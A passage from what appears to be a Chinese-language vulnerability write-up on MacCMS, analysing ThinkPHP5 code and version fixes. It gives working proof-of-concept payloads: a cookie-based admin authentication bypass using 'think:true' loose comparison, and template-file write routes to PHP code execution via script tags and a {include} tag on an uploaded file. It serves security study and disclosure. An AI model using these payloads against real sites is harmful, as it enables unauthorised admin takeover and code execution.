class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs pgsql">POST /<span class="hljs-keyword">index</span>.php/<span class="hljs-keyword">user</span>/<span class="hljs-keyword">login</span><br><br>openid=<span class="hljs-number">1</span>&col=user_id<br></code></pre></td></tr></table></figure><p>发送 poc 后会显示登陆成功,此时浏览器已经获取了登陆后的cookie,然后直接访问前台就好了</p><img src="img/maccms/image-20211112113955797.png" alt="image-20211112113955797" style="zoom:50%;" /><p>登陆成功</p><img src="img/maccms/image-20211112115100091.png" alt="image-20211112115100091" style="zoom:50%;" /><h1 id="绕过后台会话验证"><a href="#绕过后台会话验证" class="headerlink" title="绕过后台会话验证"></a>绕过后台会话验证</h1><p>在早些 MacCMS 版本中,后台会话认证的数据全部来自客户端的 cookie ,该参数可控,可以结合 TP5 的一些特性绕过后台的会话认证,从而登陆后台</p><h2 id="代码分析-1"><a href="#代码分析-1" class="headerlink" title="代码分析"></a>代码分析</h2><p>MacCMS 的后台控制器类都会继承 <code>app\admin\controller\Base</code> 类,该类的构造方法中会调用 <code>checkLogin()</code> 对用户的身份做验证</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//application/admin/controller/Base.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br> ……<br> <span class="hljs-variable">$res</span> = model(<span class="hljs-string">'Admin'</span>)->checkLogin();<br> ……<br></code></pre></td></tr></table></figure><p><code>checkLogin()</code> 对应代码如下:</p><ul><li><code>$admin_id,$admin_name,$admin_check</code> 来自客户端 cookie,通过 TP5 的 <code>cookie 助手函数</code>获取,所以这三个变量是可控的,同时该漏洞还需要理解 TP5 的 cookie 助手函数,后面会详细分析该函数的代码</li><li><code>$admin_id,$admin_name,$admin_check</code> 都不能为空,这里就会限制很多弱类型比较的参数</li><li><code>$admin_id,$admin_name</code> 会赋值到 <code>$where</code> 上,==这里是直接赋值上去的,写法是不严谨的,也是造成该漏洞的关键因素之一==。这两个参数值最终会用于查询 admin 表的数据,查询结果赋值到 <code>$info</code>。这里 <code>$info</code> 不能为空。这是后台的第一个验证条件,就是在 admin 表中存在 <code>$admin_id,$admin_name</code> 的数据,这里的条件是比较好绕过的,后面会将详细构造</li><li><code>$login_check</code> 是一段 md5() 加密值,其中加密参数 <code>$info['admin_random']</code> 是未知的。第二个验证条件便是 <code>$login_check</code> 和 <code>$admin_check</code> 弱类型相等,在没有 <code>$info['admin_random']</code> 的情况下,没法构造相等的 md5 值,在 <code>$login_check</code> 固定为一个 md5 字符串的情况时, 根据 PHP 的弱类型比较,==<code>$admin_check</code> 需要传入bool类型 <code>true</code> 或整数类型 <code>0</code>,而TP5 的 <code>cookie 助手函数</code>获取的 cookie 确实存在这样的机会==,下面来看看该助手函数的详细代码</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//application/common/model/Admin.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkLogin</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-variable">$admin_id</span> = cookie(<span class="hljs-string">'admin_id'</span>);<br> <span class="hljs-variable">$admin_name</span> = cookie(<span class="hljs-string">'admin_name'</span>);<br> <span class="hljs-variable">$admin_check</span> = cookie(<span class="hljs-string">'admin_check'</span>);<br><br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$admin_id</span>) || <span class="hljs-keyword">empty</span>(<span class="hljs-variable">$admin_name</span>) || <span class="hljs-keyword">empty</span>(<span class="hljs-variable">$admin_check</span>)){<br> <span class="hljs-keyword">return</span> [<span class="hljs-string">'code'</span>=><span class="hljs-number">1001</span>, <span class="hljs-string">'msg'</span>=><span class="hljs-string">'未登录'</span>];<br> }<br><br> <span class="hljs-variable">$where</span> = [];<br> <span class="hljs-variable">$where</span>[<span class="hljs-string">'admin_id'</span>] = <span class="hljs-variable">$admin_id</span>;<br> <span class="hljs-variable">$where</span>[<span class="hljs-string">'admin_name'</span>] = <span class="hljs-variable">$admin_name</span>;<br> <span class="hljs-variable">$where</span>[<span class="hljs-string">'admin_status'</span>] =<span class="hljs-number">1</span> ;<br><br> <span class="hljs-variable">$info</span> = <span class="hljs-keyword">$this</span>->where(<span class="hljs-variable">$where</span>)->find();<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$info</span>)){<br> <span class="hljs-keyword">return</span> [<span class="hljs-string">'code'</span>=><span class="hljs-number">1002</span>,<span class="hljs-string">'msg'</span>=><span class="hljs-string">'未登录'</span>];<br> }<br> <span class="hljs-variable">$info</span> = <span class="hljs-variable">$info</span>->toArray();<br><br> <span class="hljs-variable">$login_check</span> = md5(<span class="hljs-variable">$info</span>[<span class="hljs-string">'admin_random'</span>] . <span class="hljs-variable">$info</span>[<span class="hljs-string">'admin_name'</span>] .<span class="hljs-variable">$info</span>[<span class="hljs-string">'admin_id'</span>]) ;<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$login_check</span> != <span class="hljs-variable">$admin_check</span>){<br> <span class="hljs-keyword">return</span> [<span class="hljs-string">'code'</span>=><span class="hljs-number">1003</span>,<span class="hljs-string">'msg'</span>=><span class="hljs-string">'未登录'</span>];<br> }<br> <span class="hljs-keyword">return</span> [<span class="hljs-string">'code'</span>=><span class="hljs-number">1</span>,<span class="hljs-string">'msg'</span>=><span class="hljs-string">'已登录'</span>,<span class="hljs-string">'info'</span>=><span class="hljs-variable">$info</span>];<br>}<br></code></pre></td></tr></table></figure><p> <code>cookie 助手函数</code>将会调用 <code>\think\Cookie</code> 类的 <code>get</code> 方法获取客户端传来的 cookie 值,代码如下:</p><ul><li><code> $name</code> 是传入 get() 方法的参数,就是上面的 admin_id、admin_name、admin_check</li><li><code>$value</code> 就是 cookie 中的参数值,注意到这里还有个判断,如果 <code>$value</code> 是以 <code>think:</code> 开头的字符串,其 <code>think:</code> 后面的字符串又会经过 <code>json_decode()</code> 和 <code>\think\Cookie::jsonFormatProtect()</code> 的处理<ul><li>这里便是关键了,看了下php manual,<code>json_deode()</code> 在遇到 <code>true</code>, <code>false</code> 和 <code>null</code> 会相应地返回 <strong><code>true</code></strong>, <strong><code>false</code></strong> 和 **<code>null</code>**,而 bool 类型的 true 就是我们一直期待的</li><li><code>json_decode()</code> 会使 <code>$value</code> 获取到 bool 类型的 <strong>true</strong> 值,然后又会经过 <code>think\Cookie::jsonFormatProtect()</code> 处理,查看其代码,<code>$value</code> 为 <strong>true</strong> 时并不会被处理,所以我们构造的 <strong>true</strong> 活了下来</li></ul></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//thinkphp/library/think/Cookie.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get</span>(<span class="hljs-params"><span class="hljs-variable">$name</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$prefix</span> = <span class="hljs-literal">null</span></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$prefix</span> = !is_null(<span class="hljs-variable">$prefix</span>) ? <span class="hljs-variable">$prefix</span> : <span class="hljs-built_in">self</span>::<span class="hljs-variable">$config</span>[<span class="hljs-string">'prefix'</span>];<br> <span class="hljs-variable">$key</span> = <span class="hljs-variable">$prefix</span> . <span class="hljs-variable">$name</span>;<br> <span class="hljs-keyword">if</span> (<span class="hljs-string">''</span> == <span class="hljs-variable">$name</span>) {…… } <span class="hljs-keyword">elseif</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$key</span>])) {<br> <span class="hljs-variable">$value</span> = <span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$key</span>];<br><br> <span class="hljs-keyword">if</span> (<span class="hljs-number">0</span> === strpos(<span class="hljs-variable">$value</span>, <span class="hljs-string">'think:'</span>)) {<br> <span class="hljs-variable">$value</span> = json_decode(substr(<span class="hljs-variable">$value</span>, <span class="hljs-number">6</span>), <span class="hljs-literal">true</span>);<br> array_walk_recursive(<span class="hljs-variable">$value</span>, <span class="hljs-string">'self::jsonFormatProtect'</span>, <span class="hljs-string">'decode'</span>);<br> }<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable">$value</span> = <span class="hljs-literal">null</span>;<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$value</span>;<br>}<br><span class="hljs-keyword">protected</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">jsonFormatProtect</span>(<span class="hljs-params">&<span class="hljs-variable">$val</span>, <span class="hljs-variable">$key</span>, <span class="hljs-variable">$type</span> = <span class="hljs-string">'encode'</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">if</span> (!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$val</span>) && <span class="hljs-literal">true</span> !== <span class="hljs-variable">$val</span>) {<br> <span class="hljs-variable">$val</span> = <span class="hljs-string">'decode'</span> == <span class="hljs-variable">$type</span> ? urldecode(<span class="hljs-variable">$val</span>) : urlencode(<span class="hljs-variable">$val</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><h2 id="漏洞利用-1"><a href="#漏洞利用-1" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>通过分析代码,绕过后台验证有两个判断条件,传入的可控参数是 <code>$admin_id,$admin_name,$admin_check</code></p><p>1)条件1,能从数据库中查询到 admin_id,admin_name 的用户</p><p>该条件需要保证 admin 表中存在 <code>$admin_id,$admin_name</code> 这样的值,即存在这样的管理员id,管理员用户名</p><p>一般管理员id为1,账号为admin,这个概率还是很大的。不过这里也可以利用 TP5 的一个特性,可以传入如下的值:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$where</span>[<span class="hljs-string">'admin_id'</span>] = [<span class="hljs-string">'like'</span>,<span class="hljs-string">'%'</span>];<br><span class="hljs-variable">$where</span>[<span class="hljs-string">'admin_name'</span>] = [<span class="hljs-string">'like'</span>,<span class="hljs-string">'%'</span>];<br><span class="hljs-variable">$info</span> = <span class="hljs-keyword">$this</span>->where(<span class="hljs-variable">$where</span>)->find();<br></code></pre></td></tr></table></figure><p>此时执行的sql语句为:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-operator">*</span> <span class="hljs-keyword">FROM</span> `mac_admin` <span class="hljs-keyword">WHERE</span> `admin_id` <span class="hljs-keyword">LIKE</span> <span class="hljs-string">'%'</span> <span class="hljs-keyword">AND</span> `admin_name` <span class="hljs-keyword">LIKE</span> <span class="hljs-string">'%'</span> <span class="hljs-keyword">AND</span> `admin_status` <span class="hljs-operator">=</span> <span class="hljs-number">1</span> LIMIT <span class="hljs-number">1</span><br></code></pre></td></tr></table></figure><p>此时构造的cookie应该为:</p><figure class="highlight inform7"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs inform7">admin_id<span class="hljs-comment">[]</span>=like;admin_id<span class="hljs-comment">[]</span>=%; admin_name<span class="hljs-comment">[]</span>=like;admin_name<span class="hljs-comment">[]</span>=%<br></code></pre></td></tr></table></figure><p>这样将会查询到admin表中的第一个账号,一般第一个账号都是权限最大的,够用了,也可以尝试控制id,模糊匹配用户名</p><p>2)条件2,md5验证</p><p><code>$admin_check</code> 将会和数据库中查询到的 id,admin_name,admin_random做md5验证,因为 admin_random 这里是无法获取的,这三者的加密值必定一串未知md5加密字符串,不过利用 TP5 特性,可控制 <code>$admin_check</code> 为 <strong>true</strong>,造成弱类型相等</p><h3 id="最终poc"><a href="#最终poc" class="headerlink" title="最终poc"></a>最终poc</h3><p>所以最终的poc如下:</p><figure class="highlight inform7"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs inform7">Cookie: admin_id<span class="hljs-comment">[]</span>=like;admin_id<span class="hljs-comment">[]</span>=%; admin_name<span class="hljs-comment">[]</span>=like;admin_name<span class="hljs-comment">[]</span>=%; admin_check=think:true<br></code></pre></td></tr></table></figure><p>该漏洞的poc网上还没有见到公布,但我对该漏洞也比较感兴趣</p><p>后面发现零组在2021年10月5号更新了该漏洞,可惜可惜,零组上的poc更加精简一些</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs routeros">Cookie: <span class="hljs-attribute">admin_id</span>=think:[<span class="hljs-string">"like"</span>,<span class="hljs-string">"%"</span>]; <span class="hljs-attribute">admin_name</span>=think:[<span class="hljs-string">"like"</span>,<span class="hljs-string">"%"</span>]; <span class="hljs-attribute">admin_check</span>=think:true<br></code></pre></td></tr></table></figure><h2 id="简单总结"><a href="#简单总结" class="headerlink" title="简单总结"></a>简单总结</h2><p>在 v2020.1000.1035 版本以前存在漏洞,该漏洞的核心是弱类型比较,但也用到了很多 TP5 的特性,挖掘该漏洞还需要对 TP5 的框架代码十分了解</p><p>v2020.1000.1042(2020.11.9)代码如下图,不知道维护者是有意还是无意,对 cookie 的值做了 urldecode() 操作,该操作最直接的影响就是 <code>$admin_check</code> 的值无法控制为布尔类型的 <strong>true</strong>,所以该漏洞基本也就修复了。另外 $where 也指定了 ‘eq’ 操作,这样的写法更加严谨一点</p><img src="img/maccms/image-20211108145154393.png" alt="image-20211108145154393" style="zoom:50%;" /><p>在 v2020.1000.1062(2021.1.25) 版本中,将使用session处理会话,该漏洞基本就宣告结束了</p><img src="img/maccms/image-20211108145911689.png" alt="image-20211108145911689" style="zoom:50%;" /><h1 id="后台任意文件写入"><a href="#后台任意文件写入" class="headerlink" title="后台任意文件写入"></a>后台任意文件写入</h1><p>后台【模板】=>【模板管理】功能处可以添加修改模板文件,该功能会造成任意文件写入,再利用 TP5 的模板解析特性,可能会执行写入的代码</p><h2 id="代码分析-2"><a href="#代码分析-2" class="headerlink" title="代码分析"></a>代码分析</h2><p>下面代码来自 v2020.1000.1035 版本</p><ul><li><code>$fname,$fpath</code> 会指定模板文件的位置,其后缀被白名单限制,只能为 array(‘html’, ‘htm’, ‘js’, ‘xml’) 其中之一</li><li><code>$fcontent</code> 为写入模板文件的内容,其内容禁止存在 <code><?</code> ,<code>{php}</code> 字符的字样,其实在早期版本中,甚至还没有该条过滤,很容易写入php代码,当时的漏洞编号为 CVE-2019-9829,可惜在github上没有找到cve漏洞源码。虽然现在过滤了一些php格式的字符,但仍然有绕过的机会,所以本文主要分析绕过漏洞修复的情况</li></ul><p>通过分析代码,我们可以写入一个html后缀的静态文件,静态文件是没法被解析的。但这里又利用了 TP5 模板解析的特性,TP5在模板解析时会把静态模板文件编译成php后缀的缓存文件,然后被包含在对应的控制器代码中,从而输出视图</p><p>所以在 TP5 中,只要能控制静态文件的内容,如在静态文件中写入 <code><?php phpinfo();?></code> ,这段代码最终也会被包含在控制器中从而被解析执行,所以这里我们只要想办法在模板文件中写入 php 代码即可</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//application/admin/controller/Template.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">info</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-variable">$param</span> = input();<br> <span class="hljs-variable">$fname</span> = <span class="hljs-variable">$param</span>[<span class="hljs-string">'fname'</span>];<br> <span class="hljs-variable">$fpath</span> = <span class="hljs-variable">$param</span>[<span class="hljs-string">'fpath'</span>];<br><br> <span class="hljs-keyword">if</span>( <span class="hljs-keyword">empty</span>(<span class="hljs-variable">$fpath</span>)){<br> <span class="hljs-keyword">$this</span>->error(<span class="hljs-string">'参数错误1'</span>);<br> <span class="hljs-keyword">return</span>;<br> }<br> <span class="hljs-variable">$fpath</span> = str_replace(<span class="hljs-string">'@'</span>,<span class="hljs-string">'/'</span>,<span class="hljs-variable">$fpath</span>);<br> <span class="hljs-variable">$fullname</span> = <span class="hljs-variable">$fpath</span> .<span class="hljs-string">'/'</span> .<span class="hljs-variable">$fname</span>;<br> <span class="hljs-variable">$fullname</span> = str_replace(<span class="hljs-string">'\\'</span>,<span class="hljs-string">'/'</span>,<span class="hljs-variable">$fullname</span>);<br><br> <span class="hljs-keyword">if</span>( (substr(<span class="hljs-variable">$fullname</span>,<span class="hljs-number">0</span>,<span class="hljs-number">10</span>) != <span class="hljs-string">"./template"</span>) || count( explode(<span class="hljs-string">"./"</span>,<span class="hljs-variable">$fullname</span>) ) > <span class="hljs-number">2</span>) {<br> <span class="hljs-keyword">$this</span>->error(<span class="hljs-string">'参数错误2'</span>);<br> <span class="hljs-keyword">return</span>;<br> }<br> <span class="hljs-variable">$path</span> = pathinfo(<span class="hljs-variable">$fullname</span>);<br> <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$fname</span>)) {<br> <span class="hljs-variable">$extarr</span> = <span class="hljs-keyword">array</span>(<span class="hljs-string">'html'</span>, <span class="hljs-string">'htm'</span>, <span class="hljs-string">'js'</span>, <span class="hljs-string">'xml'</span>);<br> <span class="hljs-keyword">if</span> (!in_array(<span class="hljs-variable">$path</span>[<span class="hljs-string">'extension'</span>], <span class="hljs-variable">$extarr</span>)) {<br> <span class="hljs-keyword">$this</span>->error(<span class="hljs-string">'参数错误,后缀名只允许htm,html,js,xml'</span>);<br> <span class="hljs-keyword">return</span>;<br> }<br> }<br><br> <span class="hljs-keyword">if</span> (Request()->isPost()) {<br> <span class="hljs-variable">$fcontent</span> = <span class="hljs-variable">$param</span>[<span class="hljs-string">'fcontent'</span>];<br> <span class="hljs-keyword">if</span>(strpos(<span class="hljs-variable">$fcontent</span>,<span class="hljs-string">'<?'</span>)!==<span class="hljs-literal">false</span> || strpos(<span class="hljs-variable">$fcontent</span>,<span class="hljs-string">'{php}'</span>)!==<span class="hljs-literal">false</span>){<br> <span class="hljs-keyword">$this</span>->error(<span class="hljs-string">'安全提示,模板中包含php代码禁止在后台编辑'</span>);<br> <span class="hljs-keyword">return</span>;<br> }<br> <span class="hljs-variable">$res</span> = @fwrite(fopen(<span class="hljs-variable">$fullname</span>,<span class="hljs-string">'wb'</span>),<span class="hljs-variable">$fcontent</span>);<br>……<br> }<br><br> <span class="hljs-variable">$fcontent</span> = @file_get_contents(<span class="hljs-variable">$fullname</span>);<br> <span class="hljs-variable">$fcontent</span> = str_replace(<span class="hljs-string">'</textarea>'</span>,<span class="hljs-string">'<&#47textarea>'</span>,<span class="hljs-variable">$fcontent</span>);<br> <span class="hljs-keyword">$this</span>->assign(<span class="hljs-string">'fname'</span>,<span class="hljs-variable">$fname</span>);<br> <span class="hljs-keyword">$this</span>->assign(<span class="hljs-string">'fpath'</span>,<span class="hljs-variable">$fpath</span>);<br> <span class="hljs-keyword">$this</span>->assign(<span class="hljs-string">'fcontent'</span>,<span class="hljs-variable">$fcontent</span>);<br><br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->fetch(<span class="hljs-string">'admin@template/info'</span>);<br>}<br></code></pre></td></tr></table></figure><h2 id="漏洞利用-2"><a href="#漏洞利用-2" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>这个漏洞存在很久了,从 maccms.la 维护的代码来看,该漏洞被修复了几次,在实战中需要根据情况利用</p><p>在 CVE-2019-9829 中,该漏洞第一次被提出,不过那时代码我也找不到了,当时的代码只允许修改 .html 这种静态文件,却忽略了写入php代码会被TP5的模板引擎编译后解析的情况</p><p>现在能找到的最早的代码是 v2020.1000.1035 ,就是上面分析的代码,限制了写入内容具有php标记的情况</p><p>在 v2020.1000.1035 版本中,过滤了更多内容,则表示写入内容中不能有这些字符</p><p><img src="img/maccms/image-20211109144512814.png" alt="image-20211109144512814"></p><p>在 2021.9.9 日的更新中(该更新没有打tags,后台显示版本号为v2022.1000.3024,感觉maccms.la维护不太专业的),过滤内容如下,在maccmspro版本中没有做该修复</p><p><img src="img/maccms/image-20211109145248919.png" alt="image-20211109145248919"></p><h3 id="更换标记风格"><a href="#更换标记风格" class="headerlink" title="更换标记风格"></a>更换标记风格</h3><p>php的 4 种标记风格:<a href="http://c.biancheng.net/view/7256.html">http://c.biancheng.net/view/7256.html</a></p><p>其实 php 有如下4种标记风格:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span>…… <span class="hljs-meta">?></span><br><span class="hljs-meta"><?</span> …… <span class="hljs-meta">?></span><span class="hljs-comment">//启用 short_open_tag</span><br><% …… %><span class="hljs-comment">//启用 asp_tags php7不支持</span><br><script language=<span class="hljs-string">"php"</span>>……</script><span class="hljs-comment">//php7 不支持</span><br></code></pre></td></tr></table></figure><p>第三种和第四种能绕过 <code><?</code> 的过滤,本地测试第4种有效,不过不支持 php7 版本</p><h4 id="poc"><a href="#poc" class="headerlink" title="poc"></a>poc</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><script language=<span class="hljs-string">"php"</span>><br>phpinfo();<br></script><br></code></pre></td></tr></table></figure><p>需要在php5中执行,另外在后面的修复版本中过滤了php字符,该poc会无效</p><h3 id="文件包含"><a href="#文件包含" class="headerlink" title="文件包含"></a>文件包含</h3><p>先了解下tp5模板引擎的include标签,该标签可以实现文件包含,用法如下,被包含模板文件的起始目录应该为web部署目录</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">{<span class="hljs-keyword">include</span> file=<span class="hljs-string">'模版文件1,模版文件2,...'</span> /}<br></code></pre></td></tr></table></figure><p>我们便可以考虑上传一个含有php代码的文件,然后利用模板编辑的功能使其包含上传的文件</p><p>1)上传文件</p><p>后台有很多地方可以上传文件,我选择的功能是【文章】->【添加文章】,上传文件后可以看到文件内容</p><img src="img/maccms/image-20211109114147132.png" alt="image-20211109114147132" style="zoom:50%;" /><p>注意这里会使用 finfo_file() 检测上传文件是否是php文件格式,绕过也很简单,在第一行加一些字符串就行,如我上传的文件如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">111111</span><br><span class="hljs-meta"><?php</span> phpinfo();<span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>2)编辑模板</p><p>这里选一个我们能访问到的模板,为了方便我直接选择了前台首页的模板,在实战中要注意了,网站首页动静还是很大的</p><p>添加include标签,包含我们上传的文件,然后保存即可</p><img src="img/maccms/image-20211109114602019.png" alt="image-20211109114602019" style="zoom:50%;" /><p>3)检验成果</p><p>访问首页即可看到我们修改的模板已经被包含进去了</p><img src="img/maccms/image-20211109114738315.png" alt="image-20211109114738315" style="zoom:50%;" /><p>最后可以看看缓存文件被编译成了什么样子</p><img src="img/maccms/image-20211109114839672.png" alt="image-20211109114839672" style="zoom:50%;" /><h4 id="poc-1"><a href="#poc-1" class="headerlink" title="poc"></a>poc</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">{<span class="hljs-keyword">include</span> file=<span class="hljs-string">"upload/art_editor/20211109-1/fa8ae56a1bada27ac2c4edae0f7cbddb.txt"</span> /}<br></code></pre></td></tr></table></figure><p>在最新修复版本中过滤了 file 字符,导致该poc无效。file 字符都被被过滤了,include没过滤,这种修复方式还是有点奇怪的,我下的主题大多模板文件本身就有file字符,该功能在这种情况下形同摆设</p><h3 id="特殊标签"><a href="#特殊标签" class="headerlink" title="特殊标签"></a>特殊标签</h3><h4 id="代码分析-3"><a href="#代码分析-3" class="headerlink" title="代码分析"></a>代码分析</h4><p>上面说道 <code>{include}</code> 这样的标签会被编译成文件包含的php语法,其实这里还有其他标签格式可以绕过最新的修复,这里先看看 TP5 是如何编译这些标签的</p><p>TP5 编译模板位于 <code>\think\Template</code> 类的 compiler() 方法,代码如下:</p><ul><li><code>$content</code> 就是静态模板文件读出来的内容</li><li>parseInclude() 就是上面解析include标签的函数,这里就不关注其中的代码</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//thinkphp/library/think/Template.php</span><br><span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">compiler</span>(<span class="hljs-params">&<span class="hljs-variable">$content</span>, <span class="hljs-variable">$cacheFile</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-comment">// 模板解析</span><br> <span class="hljs-keyword">$this</span>->parse(<span class="hljs-variable">$content</span>);<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parse</span>(<span class="hljs-params">&<span class="hljs-variable">$content</span></span>)</span><br><span class="hljs-function"></span>{<br> ……<br> <span class="hljs-comment">// 检查include语法</span><br> <span class="hljs-keyword">$this</span>->parseInclude(<span class="hljs-variable">$content</span>);<br> ……<br> <span class="hljs-comment">// 解析普通模板标签 {$tagName}</span><br> <span class="hljs-keyword">$this</span>->parseTag(<span class="hljs-variable">$content</span>);<br> ……<br></code></pre></td></tr></table></figure><p>下面重点关注 parseTag() 的代码,该函数最常见的解析规则如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php">Hello,{<span class="hljs-variable">$name</span>}!<br>Hello,<span class="hljs-meta"><?php</span> <span class="hljs-keyword">echo</span>(<span class="hljs-variable">$name</span>);<span class="hljs-meta">?></span>!<br></code></pre></td></tr></table></figure><p>标签 {$…} 包裹的内容就是 php 要输出的内容,粗略看一下 parseTag() 的代码会发现,解析标签不止有{$},还有其他很多情况,而大佬们就发现了这样的场景,佩服佩服呀!</p><img src="img/maccms/image-20211109172840803.png" alt="image-20211109172840803" style="zoom:50%;" /><p>根据网上流出payload,先看标签 {:} 的代码</p><ul><li>$regex 是正则表达式,用于抓取如<code>{$name}</code>这样的标签结构,$match 是其中的一个匹配结果,其中$match[1] 是第一个匹配子组,就是剥离{}符号里面的内容,即<code>$name</code>,该值赋值给 $str</li><li>$str 的第一个字符作为 $flag,决定该标签的解析方式,这里查看第一个字符为 <code>:</code> 的情况</li><li>$str 会去掉第一个字符,然后被 parseVar() 处理后直接放到 <code><?php echo $str; ?></code>,所以保证$str内容即可,下面看下 parseVar() 的代码</li></ul><figure 